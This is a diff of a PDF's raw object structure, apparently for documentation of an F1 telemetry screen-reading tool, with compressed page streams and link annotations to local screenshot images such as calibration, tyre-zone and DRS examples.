-/URI (./Images/Screens/AutoCalibration2.png) +/URI (./Images/Screens/DriverZoneExample.png) >> >> endobj 552 0 obj << -/Filter /FlateDecode -/Length 905 ->> -stream -xV͎6 )UDC-P8ȡ 6yLY̤@\jC;Eɏ\h OB0)p\^k"Y~iQy >0f431{) jc_ d1\Ma*lΨ5JXG@\MJLh)4y|ރU}eo~ -$>#q+[_nk%m'x}UM F`\N~WQ9ay,^9&[>}Až_^Xn2xMe&3At>YuvΠOl vsD1)ټW6hl3Jv%m6 UTTA;1WI"W;ugCW NK -VFN3 Gƿ[Y{bfb DיAduf`PE ԜmXT3h$9YW5WэF:lBߜ~:6kݪT ZQ|U$hzOvq=) vU`ؓz,nlt©EGV>_ouXn^]׀i-fg:o{t$o{2*'=:AȦA>D9(& gR:DvZTMkAؿHR2ҫ -=*;: jkW} )ppWuԻYTq:&rb09~$k{XD/O#:W ^{*Ϳ~~e w"\6#Ǒ1&×I JCy -8 iV2s*wW^ .5Pa 14[qtG/1>P -tZq -endstream -endobj -553 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 552 0 R -/Resources 4 0 R -/Annots [ 554 0 R 555 0 R 556 0 R 557 0 R 558 0 R 559 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj -554 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 569.956425 ] +/Rect [ 297.637795 763.306094 297.637795 748.291694 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration2.png) +/URI (./Images/Screens/DriverZoneExample.png) >> >> endobj +553 0 obj +<< +/Filter /FlateDecode +/Length 3432 +>> +stream +x]$9_OQ/;|H@X ?WH]_"<yUGճRMd:#>Y3CDgT)xw}wU@M?B䔋t&*c4X:hBg^N9딯ɪul B|œoO.F9Tjx(m4ut` #JDw~雳J?jmO*z33g[fy] wHOTG.0GeQ+tpOݯd]dK}!# ݍ޾GGش+痮{m?mc+}NAhgU3\{G(π<7517P6Ԙ;[֥<3:VR@*m VƊӬ˅ 8Ֆlsy,b5Dޖ_[^F0^.ODm eKVN',ZN,ƌ涸j kܪ1Zkϙ;#(xx4 +1`_pysq>p‡l,ƀWh$\[twu.0ӹk=c2&&ƴ){f% qN6ӊa! R + h +1P<2ł=uFPEIX`>ܼQ\@6n\^׾wh`QQ&WNbg+@]l:Mbzl͊\N,bL*$L$t`s-0xJnɪ2k +: EQأʵ)vNGQ"!dqi{zGʓHM5ϣPP!V'w; +{7K +d cZL>k:=&6Rz*Ɓe3A}Bz:K,}x/imegsuG=FsLwn؉HCh\&uEnۼsSUG`qT *,jf4AdA% +X-)MzA#0`9&t!_@(0\6]l+$Z~ϽF,X [ca߻x@ץgBz(A䁤teyKӞd#T!gªֻ؋3\tد& jkPP'z3d%ť)#8$uξ<Ya94z`8n[GىB6JojG~9nHL3BxUn!rAcEܸuE/+RyE'Bal +RJ=z"Ð͵_Bj!y (9K>(ZYα%c)9-~(̇02gѓ̡!΁lz=mB?nNY +M8G{%o3G"J?c]DEp:RV +\oc)YM؀|QQfډ#qf€Qf6z5δ^ed?,TGz@yΨ,MayhzѨDH>T&4VK2B2`+]PMej㘔]`'t"浩 {c%}Q@=v#!ײz/GEne$+Sw2CκpOA nl"%cwrmmPb@ +?\6dm%WQr=r^ƥc(\BK\Jsњ.Y/b΀ۣp#HH8kՀ~t3 L6I9L[/ahyn&^û̏,-NSS`r5S-$ 0TR9 U@;oa!=#UG1±T]b;\oReϚށ۳+>B~@$IU묌d,Gޕ`Fqh(97C .avmUۅdjvj>qЏg"ṫ̀QY7ʿfC=φdS/;M Pr{dLdܺ!_FK +2zHIlM={)Rs*~GAt''ȗ6tyU{zUi%eߥ"uyV;ayvTyVfBZҳZg)6*2;WYV((dR ll5&mZ1H-Dc(GM}N"\͛D o~ +6 ogvnG)"|Qκ6: h&p#K!=`q xHV +<2AQ*p衏0?#Qdܶ]7oo++u; /T~Ǧ˗f, Cy' 76fIxiއ)/UЇSnɓ2>-*Yɑ\"6eba?WI |~Y:) "Ɗ +'煨WolmM'Cnc7f&:q7snv~ g(B]lf~oԀ1AҔ!4it0`.{}ROޅd廥edžP!Ner _^3I* +endstream +endobj +554 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 553 0 R +/Resources 4 0 R +/Annots [ 555 0 R 556 0 R 557 0 R 558 0 R 559 0 R 560 0 R 561 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj 555 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 569.956425 297.637795 557.553225 ] +/Rect [ 39.386457 248.527194 39.386457 233.512794 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration2.png) +/URI (./Images/Screens/TyreZoneExemple1.png) >> >> endobj @@ -8446,14 +7451,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 489.335625 37.466457 476.932425 ] +/Rect [ 39.386457 248.527194 555.889134 227.184108 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration3.png) +/URI (./Images/Screens/TyreZoneExemple1.png) >> >> endobj @@ -8461,14 +7466,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 489.335625 557.809134 285.908307 ] +/Rect [ 297.637795 227.184108 297.637795 212.169708 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration3.png) +/URI (./Images/Screens/TyreZoneExemple1.png) >> >> endobj @@ -8476,14 +7481,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 285.908307 297.637795 273.505107 ] +/Rect [ 39.386457 169.003308 39.386457 153.988908 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration3.png) +/URI (./Images/Screens/DriverLapTimeExample.png) >> >> endobj @@ -8491,82 +7496,93 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 217.690707 37.466457 205.287507 ] +/Rect [ 39.386457 169.003308 119.636457 150.253308 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration4.png) +/URI (./Images/Screens/DriverLapTimeExample.png) >> >> endobj 560 0 obj << -/Filter /FlateDecode -/Length 796 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 150.253308 297.637795 135.238908 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DriverLapTimeExample.png) +>> >> -stream -xV͎0 );DZJ@Bff+vy ͔"4?} /2oV*g2}Jb'$#dEu{=y_i_1UK`C!@Hy9joWyNOq2\ mgh~/rsM&oX\c|.$XlX1N d#։.$9ҖFw,ޓd8̎Ҁuuа܊~Z6nZ2nMOh~<+b{_/Fh 7s*|;+ѢZj.WaecR6PIy>P=s Q$/ȥ ǖ#R U_*mXL_R?:.@`\CoIŖ kZ\LpxIn!PV(CڲY8fsR][c

    > +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSFalse.png) +>> >> endobj 562 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 569.436714 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/AutoCalibration4.png) ->> +/Filter /FlateDecode +/Length 2762 >> +stream +x\ !^-8iQ4P]'yCJG[ +)Dw6'\&}0QR +:|u]>$!1 +MsϿ?~`LQ%K'yS4Ey]Kt;ogSxxՇVdiQ&y&"j8"${̗Ot`&dDz!Jo +xXjt|k:+ah =*;(0N[h4Ƀ4)RpιAű8n,Оu(\h줇,./}jw5a~>:GݫS{.y&J,(coQ0b9M20ΝY~n\*^CLtiHcP6h2k~ǿ۽J۬QDOLpL|6)@z|M೹vxu4%Ym2oT{S +h|ؤd@z:q#&5lqs ΣMD'5[f\V=.đm}'`Cb.]3i2wȍ s5h\5#8.XnƄ';9V0Qq #&&6֜^ik\sp\ba\8nKn*N(ʙz-GXCKAp L΂k_ +ezg_"&+U[y>P+n 騐R@qDʅklD4O#G¡EqꯙWyæNu&fĈ#R<}iH}81U=o.8yp]Du]KR!|eKrZ?<ZdkYa M% ,F/Wt9 +nrfA*T9b B+ YΞdt-F MEFѷLq5..Uf BqҢ+_K":%>(غalR!e]pZY ȓq hc2T$__=q_i"<~V>63Yd +.\S+8]*`pG+*Bt˃clgDZ9*@K˷_4x761V`LHX*E8*[2ԽA$Q"&䬱]](;\R|"z+i}4Mm?JĖ1*}$$89FnhPl14)h"qX@u$-HelEDCԍL^$H 9LvtЬ\%ۼS  6 |R[ԉ:l;= +>~q#fej/v]@`rEc@ C>6dZ&s# Yn}=H>0(5+\ixI&)]'9@S6Rrx;- JH вA|7l@̆kfP),72er`FEe<[jN/`ZP`LHlȗJڵ-1X uV]Ŷ6P)v2hIWPe}Oqwx2MQ*W=M轿'1QZ(Uqmd{Eb&P3sD/;"yo2/$^lQE!ݓvPwZ+-u[+5KΞln M@/N|/*ܿ+Ѐ( bn,&"E]u' D +w*1mkRJ 6)T-)[~fQ1^*> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/AutoCalibration4.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 562 0 R +/Resources 4 0 R +/Annots [ 564 0 R 565 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 564 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 481.063914 37.466457 468.660714 ] +/Rect [ 39.386457 771.023622 95.636457 744.023622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration5.png) +/URI (./Images/Screens/DRSFalse.png) >> >> endobj @@ -8574,62 +7590,65 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 481.063914 557.809134 278.285386 ] +/Rect [ 297.637795 744.023622 297.637795 729.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration5.png) +/URI (./Images/Screens/DRSFalse.png) >> >> endobj 566 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 278.285386 297.637795 265.882186 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/AutoCalibration5.png) ->> +/Filter /FlateDecode +/Length 2320 >> +stream +x]Wf, ,`6I &#'X՚f׻~b:dV+>QDרjBk]j>rpA8,oC,A:'^BiZ +@SO\~KAb&WS':|Bzz<\9]g\ʗW~⏠T&)L9rҋ}wl1ثڠ(\~|ݻ]))x{፶lzpH䮞LY`RI{FMB[]Sx-{[G 5\AQh'eP5kS! XۋBRUhn]顔&o툚 DGTеAYb6HTN\BlL0/E;G=AAAc,JR5Yrld"AG6 Ghg( 2Z&0/V |]QK[{{y72avݱ +mt@ n$h pJ~ 7GN IB%PQcwڬj{V3h%FIf̘l+TpXv oɇ98Ē5Q,Z 8ܶUtˣbx9IqRNV+wQ,z GV4FʄC!xU$󕵨kz  +kJ =B"nmRgD\5o=ucp +k{K&byQ1O=c YgUmcKCɭHau'>˶4v-ae྽tYNI[[9_fe REau&XpW;WYthÏhda'C!xTF,H+oQ\E]3І[ Vz>áYA8^p!$E6ȊHV(/j>̍ Q<h//3#2q~S;H5o}ugp +ˮjlw]8@?i$WYhÏhda +҃~O uS62~>Cau%/^l E.6NA]g]7}7M4j rJu >gv_i݌>C]>;lm<τmr]30Yhím+yQXu]xYA8^^mNHu͢@~dEm$+k +O0uS62~>Ca=kΞ +ʼn-P Ly3Ю>PX끴qu>ѩ+pOSZ1;1t4*z0u+ NZzY>z6Ew*F".bGD4F"_~+R{i#A)(c6tg0(mZUW>:FpH47$#IA|NvZ'7"|8 +(FaxDB %# +0"\lq;dž<;iRb-Xhb u`7G7oym"#g=T񕕧:F,_=ZGl t7XOP32P*q1"=_<9痄D,^ԻqzmIQKFg7suYܜ:εˇ;I#^ZVv(HvY+U +endstream endobj 567 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 210.067786 37.466457 197.664586 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/WindowsPilotes.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 566 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 568 0 obj << /Filter /FlateDecode -/Length 2372 +/Length 2296 >> stream -x[Ko0|,0ILek`7l?"ŒJݞ9j>?т1oӗVi)=&_JT0 IV!&@T U"*guh~}=x) U:$]MwgP鿧mRu@!ܿl=e(K,&Gԥ`uk~BQωBV"NL^E1cR6iO4UOl>S8TIX)Joiˇ&"=S=OIRP +󄗖JE -R)lsV , Sh1]ᶵ2mw ]닎^;s?ʃwrcCDC&m$փ6TNBeK\y=3ׇV7|~\Ym? >Nsqlw@KOSKU8]!7H|tm>8n|q2>+b__szyy[n+vm!@ZlBzNOPk / 22!_2oKV'6&q, |]UJW;jo^?!, S7*c#zT,nZkQhD۞D=ō4ME7 Zk -ޑ m 2&CL$'â$%l)-?/7A8(꽳 {$a,f5'`vn B}FHi_d^; pdbN8}lx\ X׷Ŧ06@#Ǯ7RNcvVO2k8 ߵw1&^R⨻]w[=;m[ xӚ@: c۰vO -uk[ -NFymj7wP۶.@*EZs.xKin _ɢVճ0pg(}cnUh &/U -5a)CW7Y-W &с12:2 Z҅.r+u-ϛs1 -F_n֕ GB8!kP%` BL ~mƤ"u>usb,!"v; C^>a;wss)w>8/sp*sCx @1|^o/hPziШ|+U˞vmlaj/T(7bޢG92eU՗N,M?>kk*,ޢFByS -ZኇIyG bOQRJL_6QJFꑄ,GjD+41qd81qa(MFt1(Qa]7䄘Mp&„8G.4Z8_׌Xy(X?Y_8z2Xkc+rv5ķ$9g9Xm0ʽ dGӓQLJ5F_YSMY: #Y 3gTBKpQkd kVj5g^ ,x"̬eVGoqe _rD *:a*pay@FuB"a=/;& (}Xp{G)ϯK 74+v 9 i37X l0m9Pd}ɻkxn-~ 'KŠU@Ky7#c%񆤆-eq0#g;>j債ǯ޻Eǯ5>%ƛK`#}TˊIڠ{;mڶ5UYsJ+jltE d8#\B?]Ӵ-)|о( y}} ;^Ő$_.^oIyp>#R"~wco-l2 -9I=[5cQ9QZ@ua.)}3p`T7a;'H?߬)/zao;M7طo{vfvp)DN_́Uԏ]D3qw;!aGew[v|H LڼfC+ B4-$󽾏Sʪ!yZsү^Dc~G -)K}_wKosgz ( PNh(n7hv1| U{Ă l^q d׎L9J0"/OL(%֗JP !<%=K8[ +x]Mo$ϯ?`U,0 1I6AR>9:Hqiz׬C$fFzHS?ZJOO1Gœ˟S s@ϒZH)梿,%0ǯN9K/Ab&rzm<^N_ߧϿA]C=}?=ʧ:^tQ9=䔤6 qQ"_/wԜ-j%49߾{N9H͙oeˑۻޟz7DJ*RRTBri=$9Ԕ[L0$U!r[^4^srtIH~L=5) y2KH%&T +-qp.;5eiQMU5 ]zo CI펵1SZt¹!(ib=$u9Wtv`DJ:vHAhC"bMQ +P:r)x &{=І@sF4 +v7niiSӦe'LKM'Z_EJm\!+$&iԾ4NszC FHE!/PHڍ:5lE9aԵnص9R+)9`.:e?0<Ϥ3e]N3n%/n[ɋҪzƇC݉5FHş1Ċ(VzF@[P Qh 6/3o#2pgg nDy30?PZvH_ӳYg Oָֺ̽Bz͟\<O౽YR.^ɋB30[ Vvg(a;7G, 'V4FpJI]TBg`LyN͟h{㙟JKɍ(Bg`\77͟k;Iu?qx^9P(ٱ}gy7(yc{J(7םN3n%/n[ɋҪۮCvbx]Ga%.Kf2gpm͜DI4+G\u6{j=[5Mv߯sri=kY;iҶ!]1 +vA?p]nϟ>X6O|۳ ,/;)qzmT_L1%DsQwˌEpsEGT:Fڳ{x? +c\y|Fy'Avg? endstream endobj 569 0 obj @@ -8639,172 +7658,164 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 568 0 R /Resources 4 0 R -/Annots [ 570 0 R 571 0 R 572 0 R 573 0 R 574 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 570 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 422.216457 558.773622 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/WindowsPilotes.png) ->> +/Filter /FlateDecode +/Length 2414 >> +stream +x[ݏ _)JbbkQa&{Reю38n cGDG>쎖?q/3)ep<}>|9XCh֘/@2z Rr)% C0!X:_Ҟr0d-%::AcR痟>;c?pfB!%DxKWQiV Y/oMц>)HU0 +s0(w =]aw, 1A÷||;k5 }+UQ zq|14ȓm켵gi]M|I[D!UwG&9|wO66et`cˆ6 r4Bn׺OnZ٧VU\wҨeT`0⦪f&UIv3S7s@7Jh3c}lra;FP\0Y+JjʁgN+9 ?4/B;CB+yu>O7a;{W,+48ڜfZ ⱍt]K4WOkpb=7?9*=tJ q$Ͱk73{Ä̗zhcy<7 9ohS*ڰjr6=r=;;KnEg065Ahy;_]حtXIx7_y-"WaSҳ,eL_w+A +6FӠO'#Cf{r(s:Z( &prmHGTZ~%J>! xĎݭ0, oU>jNudHh(PpQbj%8^ެ_QD֏'7}3E%d 3g$Aǿ2o9noNn9cg9,TW$g.ɔsJjְڞիagA.!, @^xjCzz 4DN$,*sghWlʳӱ6U#o:-ޣH!6jqَ<`tAK7q3%xj1ˮ {I%l"LTGΧD֩W-KʾsR薂 dK XYtߩ%͖Bz}j)J{Ø G%U..ഞۂ~A8׌A^縏G\IM*ٖIotwB8X0-3֒.6[=^rl މtA\dZ{! eOKxSگ^qYUٴ%$NmhڴB$ rZKBk Bup$]eܱ+gh ND5MCbr m/m)i1>>iI6]Qbxo @B㣟}Лr -ͽЍh\9<>iI7hvrKn)"=>jI_vyKnLd&o鴤Ǚ<6^=ֹ^,&AG:-q{:ʚZthmK MDH%vŚŭΗF`StN N l;[sd-ݽҦ(w"$AN}b'mSnʙ[O܉X;nR$uMvӡ J:{mG&'rC0ZqRbA}; |? KR_a]\S?Y83~|30ܶxxqa Dc29&3e41fF +C\!ǣxg`.8OÝ1&c~y7+o_&~dI%mps?l!- +endstream endobj 571 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 558.773622 297.637795 546.370422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/WindowsPilotes.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 570 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 572 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 510.711222 37.466457 498.308022 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/driver2.png) ->> +/Filter /FlateDecode +/Length 845 >> +stream +xVm0_?`.LX +Sm۬(t=3d赜@~<>8~:i9џ$롳N@qPC+mVZ]x}~tλESԀ>wJwʡ1$ą(vP!'"^9@oﻫ7<~!31ڌfh} @͌EDvĴ$6ik Z 6mL56M8^B5^/,cR6dXcL,OYf AY.wmcb3grC(KlO.q\Ft wA#3#}čSc!| +k͓KaQEX\y +JTHF{إcS b_GNnLsiSW>ڡ(_}7ϓggd̑ w./9e+ORWA"=! 4H -ų 2m.5)+v^bo 4 Nv4e `0׼l'10.>RL^ŬX O̅᧫AU8g;ǧ1"uy}nե[n(ICгŮ >$&_g4&^v&s%lT"ScgEy/qZQ1M9>Ez NQAV([MGqƖX~i,-!GTˀ/R9d|> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/driver2.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 572 0 R +/Resources 4 0 R +/Annots [ 574 0 R 575 0 R 576 0 R 577 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 574 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 500.813399 297.637795 488.410199 ] +/Rect [ 39.386457 722.226822 39.386457 707.212422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/driver2.png) +/URI (./Images/Screens/ScreenF1TvData.png) >> >> endobj 575 0 obj << -/Filter /FlateDecode -/Length 1975 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 722.226822 555.889134 431.694066 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ScreenF1TvData.png) +>> >> -stream -xYYD~_?@CZ"xZ #%ꞶǛ ;GWwM>_1g%#:|8};ӻN+lʟCC ,~:|MqNt 9=}8(B<(p#% -¯DJ_gvctp8]+u1].E{Woځf͠7}M薟K)6|ʸ7~y=VkWxy^V?',x܇?7CKCv6J?⹩>7 L`Y4g# LxPV̎3H^r'38z#K}H mP"^Yt*ހ2/Ef{{?52y0ZG -Ġ -=mtA-w6y}Hfb>O3o5sT4-ȒXg--?rmE(,.qkmlLaϤ=>A8+"C 0]T6 (Ge~W^]UswQ|^VjԲ\,7x' -UfLB(wb!S"N%DjnyUaah]0h5buGC;_Wb:jUIt~>|A#=:8D3&;ģT.FZxbG\6̣&bD.``W4@I҆&ޛd@x{B.9w{'BlA' Jv݉+Z]k,p.*ʭQ6L^ۡ - $eP8nX3 Gpc*,WQJF˶N/7wtE^ٺXXclQY+G{T4`T#"5m$nbm:ԭ5Q ~oZgYE <ҍvǛjK2@s^Ԫ -Sy[!7M}siQ9&{@0{.MK0ٺU+%4;Ǹ쫗iaI}I,PJ{1jXu2r7WWr[n1PWvGZPld -fX*X EV\}o=լ9匧iĖ)ܰ&)$-8jH+6])=[.NX6aLJTM12ɏz1_TfJW&4p.5iCȲ\;0nc.M[Kp2R#bߏlj ^Af[9CtOE%HsQbDpD~Rh:r=5 oCQ1ڷ]ɃO:I)qr5%yJ8cF+3Fnq( 'sJ o~ד![0x޷x -w )R}gU(=^SE~~Np\31U7C]N]Ek+K82H0"4R؁rrX_Ԅ997ͯrsԆi?޴5FhOe]#Ȭj>; anเ/wH簖pu\hB.rV" Il M! 8K SGǭ0t^Ǟ!|AA YK K\Ůp?b=` %JT[Ad`Io-]@dF?;hė,?ˋj%W*# ʚ9LL BB&ɒ@`թvQR_ohZ0@t$ C;-La>Y-.tﲛ{ S>QayÜLc 裃xQGc{ԍ ‘ -endstream endobj 576 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 575 0 R -/Resources 4 0 R -/Annots [ 577 0 R 578 0 R 579 0 R 580 0 R 581 0 R 582 0 R 583 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 431.694066 297.637795 416.679666 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ScreenF1TvData.png) +>> >> endobj 577 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 612.533982 37.466457 600.130782 ] +/Rect [ 39.386457 334.100466 39.386457 319.086066 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/data0Sainz.png) +/URI (./Images/Figma/WindowZoneExplanation1.png) >> >> endobj 578 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 612.533982 165.716457 599.033982 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/data0Sainz.png) ->> +/Filter /FlateDecode +/Length 1608 >> +stream +xY͎6)efO`"!%-P qCZ$}Cu]+Y37p|kgrrz _H?I9႑.A =8J |t)>y J) MK||z?MML|z/K*o22:)&q=aO'<h?'A٭糽p (X0YKօW +o@`6 +ᗟ~ FmevN&Bi$H2@4SW:F)t_/t]kxjPI +IDe( ,𜏐'qYtvҗ+ *q򵰍Igg@62'3he\o6pRbk<>^~;Vs( ++IgwCґ1qLT&W\wAL,Ɵ t 3SíSymFWzU0 Mn<pyzDZpSS .5pxpsb6hqEki'ٝU2 XIQtn<U٦]8,c +q';R A{sFy7kEw5lL5#6UYFnGz6!Ԫ9 +~w!ػV&zfh'}bQ>O.Y +R̸'%hʒ3~7G6',jqib}@LΣ9cϜ8ZvԬ*ūjnSU҃ʜ}GOpE_Z|$79Bk^cQ4"meiS$%i =JpKxbUܗQ) 컉 iN'&);?^ӳ:6ysRiQX5q=&{.5ޟ(RpZ_ ғY$J- gvk-k蝸 ȳ2L]LB4׭[yoʧ@ E]¶n ĩ &&`,> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/data0Sainz.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 578 0 R +/Resources 4 0 R +/Annots [ 580 0 R 581 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 580 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 550.971582 37.466457 538.568382 ] +/Rect [ 39.386457 771.023622 555.889134 481.258881 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/data0Perez.png) +/URI (./Images/Figma/WindowZoneExplanation1.png) >> >> endobj @@ -8812,98 +7823,92 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 550.971582 165.716457 537.471582 ] +/Rect [ 297.637795 481.258881 297.637795 466.244481 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/data0Perez.png) +/URI (./Images/Figma/WindowZoneExplanation1.png) >> >> endobj 582 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 537.471582 297.637795 525.068382 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/data0Perez.png) ->> ->> -endobj -583 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 359.175582 37.466457 346.772382 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/OCRTestingScreen.png) ->> ->> -endobj -584 0 obj -<< /Filter /FlateDecode -/Length 958 +/Length 1814 >> stream -xVɎ0+]ޤQp.#5 qA Dl'vfe QwWA(BeVon0^hw" D!H -#-~ _^)ZZ.D"? OGJ|1(o2ڃRdFVjR` bdcnG#BgcUk5s4ӴXiϿ1,6FIyv.X&:2 ʃvJIo^%@Ic\ry>Ћ9}Wc%$^Xp2",)`F+$¦z15uiOԙG -9`-J; -)5 ee&+JBq,J1oyU_1f* s@k -{ζTTLwlLzؾbft{ևYvӾokx)7%Ź9뢄`,E 2khsgMR%u :x#eYVs2-N Co NtnP6n}'SHf{idpGAt B\ JxԧSOnrʰ8,G"7#RF;9˼_~݋DIzǵe,҂!]Ր0H첰AOu̦l ]С۪4~Nm+ڬB+Jh 4gW#륑E=萗4kع<*@8CHLS:CJDP,`I*Aⶮ Ǹa成3 Doy3\e$i|qm. bje;|r5a$.6;I' ^ܓ-v B&AR֗Mȝs yٯy65fCB'ʕ:j>ߕn+1cӂdڽ57 PM k{3چ%2VRϯ\hA}˘j(/"2НO [9IN$/0 jdXrK31b;_L رKo0`UGު=IGJНwԄ@!ͮh{#4Sb z`>hD5h-77-NmfzO4FwIJRZ Gg?\=љJ7vP\S<0&r3kiS*"dFSd{AЕxJG\ИxB0s~ڿiQSQsvp Iw?ŰP} +ez)Dp{z|`*N}qίXpE ALWq\ vy׶K?0sTF2B9k`U/E 0){yzE*m0=,? k0;k endstream endobj -585 0 obj +583 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 584 0 R +/Contents 582 0 R /Resources 4 0 R -/Annots [ 586 0 R 587 0 R 588 0 R 589 0 R 590 0 R ] +/Annots [ 584 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj -586 0 obj +584 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 483.221513 ] +/Rect [ 39.386457 287.747622 39.386457 272.733222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/OCRTestingScreen.png) +/URI (./Images/Figma/WindowZoneExplanationDiagram.png) >> >> endobj +585 0 obj +<< +/Filter /FlateDecode +/Length 623 +>> +stream +xT͎1 SI;R @Bfڝ@t.@W?Ћx&ЧY\i]CdυgWO"(1GU#{y> ?%z`a',YZp7k5ђj{\%">sKʥ(Zפ`c+n|t!wߦi<8yC($' S27?腬V xUy}0,x, A,O™4}wXцJat_~ " TEZtԕt*eOԨ˗&]u?O65F1[F#{2*{8tҥvr8v${c'YKy#cdm{40WUF*-#ƨq|X8↫a]c s\2ܔt5Jwݨ3ofvK0t;UѢWaw;loS<pJGf,: 't{X|lz 1FQE?’eL30XT@X)R@PZ\XN +N p~JZ08Nlg馳`j +endstream +endobj +586 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 585 0 R +/Resources 4 0 R +/Annots [ 587 0 R 588 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj 587 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 483.221513 297.637795 470.818313 ] 